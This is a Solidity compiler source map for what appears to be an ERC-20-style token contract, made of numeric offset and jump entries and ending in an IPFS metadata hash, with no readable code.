2783:5948:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4034:83;;;;;;;;;;-1:-1:-1;4104:5:0;;;;;;;;;;;;-1:-1:-1;;;4104:5:0;;;;4034:83;;;;;;;:::i;:::-;;;;;;;;4867:161;;;;;;;;;;-1:-1:-1;4867:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;4867:161:0;945:187:1;4311:95:0;;;;;;;;;;;;;:::i;:::-;;;1283:25:1;;;1271:2;1256:18;4311:95:0;1137:177:1;5036:266:0;;;;;;;;;;-1:-1:-1;5036:266:0;;;;;:::i;:::-;;:::i;4220:83::-;;;;;;;;;;-1:-1:-1;3131:1:0;4220:83;;;2004:4:1;1992:17;;;1974:36;;1962:2;1947:18;4220:83:0;1832:184:1;3035:23:0;;;;;;;;;;-1:-1:-1;3035:23:0;;;;;;;;;;;4414:119;;;;;;;;;;-1:-1:-1;4414:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;4507:18:0;4480:7;4507:18;;;:9;:18;;;;;;;4414:119;730:148;;;;;;;;;;;;;:::i;:::-;;6265:131;;;;;;;;;;;;;:::i;5761:336::-;;;;;;;;;;;;;:::i;516:79::-;;;;;;;;;;-1:-1:-1;554:7:0;581:6;516:79;;-1:-1:-1;;;;;581:6:0;;;2419:51:1;;2407:2;2392:18;516:79:0;2273:203:1;4125:87:0;;;;;;;;;;-1:-1:-1;4197:7:0;;;;;;;;;;;;-1:-1:-1;;;4197:7:0;;;;4125:87;;4541:167;;;;;;;;;;-1:-1:-1;4541:167:0;;;;;:::i;:::-;;:::i;3065:24::-;;;;;;;;;;-1:-1:-1;3065:24:0;;;;;;;;;;;4716:143;;;;;;;;;;-1:-1:-1;4716:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;4824:18:0;;;4797:7;4824:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4716:143;4867:161;4942:4;4959:39;173:10;4982:7;4991:6;4959:8;:39::i;:::-;-1:-1:-1;5016:4:0;4867:161;;;;;:::o;4311:95::-;4364:7;3189:15;3131:1;3189:2;:15;:::i;:::-;3174:30;;:12;:30;:::i;:::-;4384:14;;4311:95;:::o;5036:266::-;5134:4;5151:36;5161:6;5169:9;5180:6;5151:9;:36::i;:::-;-1:-1:-1;;;;;5229:19:0;;;;;;:11;:19;;;;;;;;173:10;5229:33;;;;;;;;;5198:74;;5207:6;;5229:42;;5265:6;;5229:42;:::i;:::-;5198:8;:74::i;:::-;-1:-1:-1;5290:4:0;5036:266;;;;;;:::o;730:148::-;643:6;;-1:-1:-1;;;;;643:6:0;173:10;643:22;635:67;;;;-1:-1:-1;;;635:67:0;;;;;;;:::i;:::-;;;;;;;;;837:1:::1;821:6:::0;;800:40:::1;::::0;-1:-1:-1;;;;;821:6:0;;::::1;::::0;800:40:::1;::::0;837:1;;800:40:::1;868:1;851:19:::0;;-1:-1:-1;;;;;;851:19:0::1;::::0;;730:148::o;6265:131::-;643:6;;-1:-1:-1;;;;;643:6:0;173:10;643:22;635:67;;;;-1:-1:-1;;;635:67:0;;;;;;;:::i;:::-;6333:13:::1;:11;:13::i;:::-;6319:11;:27:::0;6375:13:::1;:11;:13::i;:::-;6357:15;:31:::0;6265:131::o;5761:336::-;643:6;;-1:-1:-1;;;;;643:6:0;173:10;643:22;635:67;;;;-1:-1:-1;;;635:67:0;;;;;;;:::i;:::-;5825:14:::1;::::0;::::1;;5824:15;5816:43;;;::::0;-1:-1:-1;;;5816:43:0;;5307:2:1;5816:43:0::1;::::0;::::1;5289:21:1::0;5346:2;5326:18;;;5319:30;-1:-1:-1;;;5365:18:1;;;5358:45;5420:18;;5816:43:0::1;5105:339:1::0;5816:43:0::1;5907:6;::::0;5870:15:::1;:44:::0;;-1:-1:-1;;;;;;5870:44:0::1;-1:-1:-1::0;;;;;5907:6:0;;::::1;5870:44:::0;;::::1;::::0;;5959:25:::1;::::0;;-1:-1:-1;;;5959:25:0;;;;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;5907:6;5959:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5941:52:0::1;;6002:4;6009:15;;;;;;;;;-1:-1:-1::0;;;;;6009:15:0::1;-1:-1:-1::0;;;;;6009:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5941:91;::::0;-1:-1:-1;;;;;;5941:91:0::1;::::0;;;;;;-1:-1:-1;;;;;5897:32:1;;;5941:91:0::1;::::0;::::1;5879:51:1::0;5966:32;;5946:18;;;5939:60;5852:18;;5941:91:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5933:4;::::0;-1:-1:-1;;;;;5933:4:0;;::::1;:99:::0;::::1;;5925:132;;;::::0;-1:-1:-1;;;5925:132:0;;6212:2:1;5925:132:0::1;::::0;::::1;6194:21:1::0;6251:2;6231:18;;;6224:30;-1:-1:-1;;;6270:18:1;;;6263:50;6330:18;;5925:132:0::1;6010:344:1::0;5925:132:0::1;6068:14;:21:::0;;-1:-1:-1;;6068:21:0::1;6085:4;6068:21;::::0;;5761:336::o;4541:167::-;4619:4;4636:42;173:10;4660:9;4671:6;4636:9;:42::i;5310:335::-;-1:-1:-1;;;;;5403:19:0;;5395:68;;;;-1:-1:-1;;;5395:68:0;;6561:2:1;5395:68:0;;;6543:21:1;6600:2;6580:18;;;6573:30;6639:34;6619:18;;;6612:62;-1:-1:-1;;;6690:18:1;;;6683:34;6734:19;;5395:68:0;6359:400:1;5395:68:0;-1:-1:-1;;;;;5482:21:0;;5474:68;;;;-1:-1:-1;;;5474:68:0;;6966:2:1;5474:68:0;;;6948:21:1;7005:2;6985:18;;;6978:30;7044:34;7024:18;;;7017:62;-1:-1:-1;;;7095:18:1;;;7088:32;7137:19;;5474:68:0;6764:398:1;5474:68:0;-1:-1:-1;;;;;5553:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5605:32;;1283:25:1;;;5605:32:0;;1256:18:1;5605:32:0;;;;;;;;5310:335;;;:::o;6609:1098::-;6707:1;6698:6;:10;6690:34;;;;-1:-1:-1;;;6690:34:0;;7369:2:1;6690:34:0;;;7351:21:1;7408:2;7388:18;;;7381:30;-1:-1:-1;;;7427:18:1;;;7420:41;7478:18;;6690:34:0;7167:335:1;6690:34:0;6742:14;;;;6737:217;;554:7;581:6;-1:-1:-1;;;;;6781:15:0;;;581:6;;6781:15;6773:47;;;;-1:-1:-1;;;6773:47:0;;7709:2:1;6773:47:0;;;7691:21:1;7748:2;7728:18;;;7721:30;-1:-1:-1;;;7767:18:1;;;7760:49;7826:18;;6773:47:0;7507:343:1;6773:47:0;6839:4;;-1:-1:-1;;;;;6839:4:0;6835:108;;6878:4;:9;;-1:-1:-1;;;;;;6878:9:0;-1:-1:-1;;;;;6878:9:0;;;;;6906:21;6910:4;6878:9;6920:6;6906:3;:21::i;:::-;;6835:108;-1:-1:-1;;;;;6970:21:0;;6986:4;6970:21;;:44;;-1:-1:-1;;;;;;6995:19:0;;7009:4;6995:19;6970:44;:56;;;-1:-1:-1;7018:8:0;;;;;;;6970:56;6966:142;;;7043:32;7058:4;7064:2;7068:6;7043:14;:32::i;:::-;6609:1098;;;:::o;6966:142::-;7130:4;;-1:-1:-1;;;;;7124:10:0;;;7130:4;;7124:10;:60;;;;-1:-1:-1;7166:18:0;;7156:4;4480:7;4507:18;;;:9;:18;;;;;;7138:46;;7124:60;7120:231;;;7201:8;:15;;-1:-1:-1;;7201:15:0;;;;;7231:42;7248:24;7266:4;-1:-1:-1;;;;;4507:18:0;4480:7;4507:18;;;:9;:18;;;;;;;4414:119;7248:24;7231:16;:42::i;:::-;7288:8;:16;;-1:-1:-1;;7288:16:0;;;7319:20;:18;:20::i;:::-;7375:4;;-1:-1:-1;;;;;7367:12:0;;;7375:4;;7367:12;:28;;;;-1:-1:-1;7389:6:0;;-1:-1:-1;;;;;7383:12:0;;;7389:6;;7383:12;;7367:28;7363:207;;;7430:11;;7420:6;:21;;7412:49;;;;-1:-1:-1;;;7412:49:0;;8057:2:1;7412:49:0;;;8039:21:1;8096:2;8076:18;;;8069:30;-1:-1:-1;;;8115:18:1;;;8108:45;8170:18;;7412:49:0;7855:339:1;7412:49:0;7519:15;;7509:6;7484:22;7502:2;-1:-1:-1;;;;;4507:18:0;4480:7;4507:18;;;:9;:18;;;;;;;4414:119;7484:22;:31;;;;:::i;:::-;:50;;7476:82;;;;-1:-1:-1;;;7476:82:0;;8531:2:1;7476:82:0;;;8513:21:1;8570:2;8550:18;;;8543:30;-1:-1:-1;;;8589:18:1;;;8582:49;8648:18;;7476:82:0;8329:343:1;7476:82:0;7619:4;;7591:33;;7599:4;;7605:6;;-1:-1:-1;;;;;7613:10:0;;;7619:4;;7613:10;7591:7;:33::i;:::-;7582:42;;7635:32;7650:4;7656:2;7660:6;7635:14;:32::i;:::-;7678:21;7682:4;7688:2;7692:6;7678:3;:21::i;:::-;;6609:1098;;;:::o;6105:152::-;6178:4;6217:8;5731:12;;;5653:100;6217:8;6202:47;;-1:-1:-1;;;6202:47:0;;-1:-1:-1;;;;;8897:32:1;;;6202:47:0;;;8879:51:1;8966:32;;;8946:18;;;8939:60;9015:18;;;9008:34;;;6202:29:0;;;;;;;8852:18:1;;6202:47:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6195:54;6105:152;-1:-1:-1;;;;6105:152:0:o;6404:197::-;-1:-1:-1;;;;;6490:15:0;;;;;;:9;:15;;;;;:25;;6509:6;;6490:15;:25;;6509:6;;6490:25;:::i;:::-;;;;-1:-1:-1;;;;;;;6526:13:0;;;;;;:9;:13;;;;;:23;;6543:6;;6526:13;:23;;6543:6;;6526:23;:::i;:::-;;;;;;;;6582:2;-1:-1:-1;;;;;6567:26:0;6576:4;-1:-1:-1;;;;;6567:26:0;;6586:6;6567:26;;;;1283:25:1;;1271:2;1256:18;;1137:177;8048:516:0;8139:16;;;8153:1;8139:16;;;;;;;;8115:21;;8139:16;;;;;;;;;;-1:-1:-1;8139:16:0;8115:40;;8184:4;8166;8171:1;8166:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8166:23:0;;;:7;;;;;;;;;;:23;;;;8210:15;;:22;;;-1:-1:-1;;;8210:22:0;;;;:15;;;;;:20;;:22;;;;;8166:7;;8210:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8200:4;8205:1;8200:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8200:32:0;;;:7;;;;;;;;;:32;8277:15;;8245:62;;8262:4;;8277:15;8295:11;8245:8;:62::i;:::-;8322:15;;8464:9;;8322:192;;-1:-1:-1;;;8322:192:0;;-1:-1:-1;;;;;8322:15:0;;;;:66;;:192;;8403:11;;8322:15;;8445:4;;8464:9;;;8488:15;;8322:192;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8318:239;;8539:7;8048:516;:::o;8318:239::-;8104:460;8048:516;:::o;8572:156::-;8626:21;:25;8622:99;;8668:9;;:41;;-1:-1:-1;;;;;8668:9:0;;;;8687:21;8668:41;;;;;:9;:41;:9;:41;8687:21;8668:9;:41;;;;;;;;;;;;;;;;;;;;;8622:99;8572:156::o;7715:325::-;7793:7;7813:11;7827:6;:25;;7846:6;;;;;;;7827:25;;;7836:7;;;;;;;7827:25;7813:39;;;;7867:3;7874:1;7867:8;7863:27;;7884:6;7877:13;;;;;7863:27;7901:17;7936:3;7921:12;7930:3;7921:6;:12;:::i;:::-;:18;;;;:::i;:::-;7901:38;;7950:46;7965:4;7979;7986:9;7950:14;:46::i;:::-;8014:18;8023:9;8014:6;:18;:::i;:::-;8007:25;7715:325;-1:-1:-1;;;;;;7715:325:0:o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2481:388::-;2549:6;2557;2610:2;2598:9;2589:7;2585:23;2581:32;2578:52;;;2626:1;2623;2616:12;2578:52;2665:9;2652:23;2684:31;2709:5;2684:31;:::i;:::-;2734:5;-1:-1:-1;2791:2:1;2776:18;;2763:32;2804:33;2763:32;2804:33;:::i;:::-;2856:7;2846:17;;;2481:388;;;;;:::o;2874:127::-;2935:10;2930:3;2926:20;2923:1;2916:31;2966:4;2963:1;2956:15;2990:4;2987:1;2980:15;3006:375;3094:1;3112:5;3126:249;3147:1;3137:8;3134:15;3126:249;;;3197:4;3192:3;3188:14;3182:4;3179:24;3176:50;;;3206:18;;:::i;:::-;3256:1;3246:8;3242:16;3239:49;;;3270:16;;;;3239:49;3353:1;3349:16;;;;;3309:15;;3126:249;;;3006:375;;;;;;:::o;3386:902::-;3435:5;3465:8;3455:80;;-1:-1:-1;3506:1:1;3520:5;;3455:80;3554:4;3544:76;;-1:-1:-1;3591:1:1;3605:5;;3544:76;3636:4;3654:1;3649:59;;;;3722:1;3717:174;;;;3629:262;;3649:59;3679:1;3670:10;;3693:5;;;3717:174;3754:3;3744:8;3741:17;3738:43;;;3761:18;;:::i;:::-;-1:-1:-1;;3817:1:1;3803:16;;3876:5;;3629:262;;3975:2;3965:8;3962:16;3956:3;3950:4;3947:13;3943:36;3937:2;3927:8;3924:16;3919:2;3913:4;3910:12;3906:35;3903:77;3900:203;;;-1:-1:-1;4012:19:1;;;4088:5;;3900:203;4135:42;-1:-1:-1;;4160:8:1;4154:4;4135:42;:::i;:::-;4213:6;4209:1;4205:6;4201:19;4192:7;4189:32;4186:58;;;4224:18;;:::i;:::-;4262:20;;3386:902;-1:-1:-1;;;3386:902:1:o;4293:140::-;4351:5;4380:47;4421:4;4411:8;4407:19;4401:4;4380:47;:::i;4438:168::-;4511:9;;;4542;;4559:15;;;4553:22;;4539:37;4529:71;;4580:18;;:::i;4611:128::-;4678:9;;;4699:11;;;4696:37;;;4713:18;;:::i;4744:356::-;4946:2;4928:21;;;4965:18;;;4958:30;5024:34;5019:2;5004:18;;4997:62;5091:2;5076:18;;4744:356::o;5449:251::-;5519:6;5572:2;5560:9;5551:7;5547:23;5543:32;5540:52;;;5588:1;5585;5578:12;5540:52;5620:9;5614:16;5639:31;5664:5;5639:31;:::i;8199:125::-;8264:9;;;8285:10;;;8282:36;;;8298:18;;:::i;9053:277::-;9120:6;9173:2;9161:9;9152:7;9148:23;9144:32;9141:52;;;9189:1;9186;9179:12;9141:52;9221:9;9215:16;9274:5;9267:13;9260:21;9253:5;9250:32;9240:60;;9296:1;9293;9286:12;9467:127;9528:10;9523:3;9519:20;9516:1;9509:31;9559:4;9556:1;9549:15;9583:4;9580:1;9573:15;9599:967;9869:4;9917:3;9906:9;9902:19;9948:6;9937:9;9930:25;9991:6;9986:2;9975:9;9971:18;9964:34;10034:3;10029:2;10018:9;10014:18;10007:31;10058:6;10093;10087:13;10124:6;10116;10109:22;10162:3;10151:9;10147:19;10140:26;;10201:2;10193:6;10189:15;10175:29;;10222:1;10232:195;10246:6;10243:1;10240:13;10232:195;;;10311:13;;-1:-1:-1;;;;;10307:39:1;10295:52;;10376:2;10402:15;;;;10367:12;;;;10343:1;10261:9;10232:195;;;-1:-1:-1;;;;;;;10483:32:1;;;;10478:2;10463:18;;10456:60;-1:-1:-1;;10547:3:1;10532:19;10525:35;10444:3;9599:967;-1:-1:-1;;;9599:967:1:o;10571:217::-;10611:1;10637;10627:132;;10681:10;10676:3;10672:20;10669:1;10662:31;10716:4;10713:1;10706:15;10744:4;10741:1;10734:15;10627:132;-1:-1:-1;10773:9:1;;10571:217::o

ipfs://e70ffee48c422babbfbbfa190b808f17147b81e53017587894e9508dfecd3107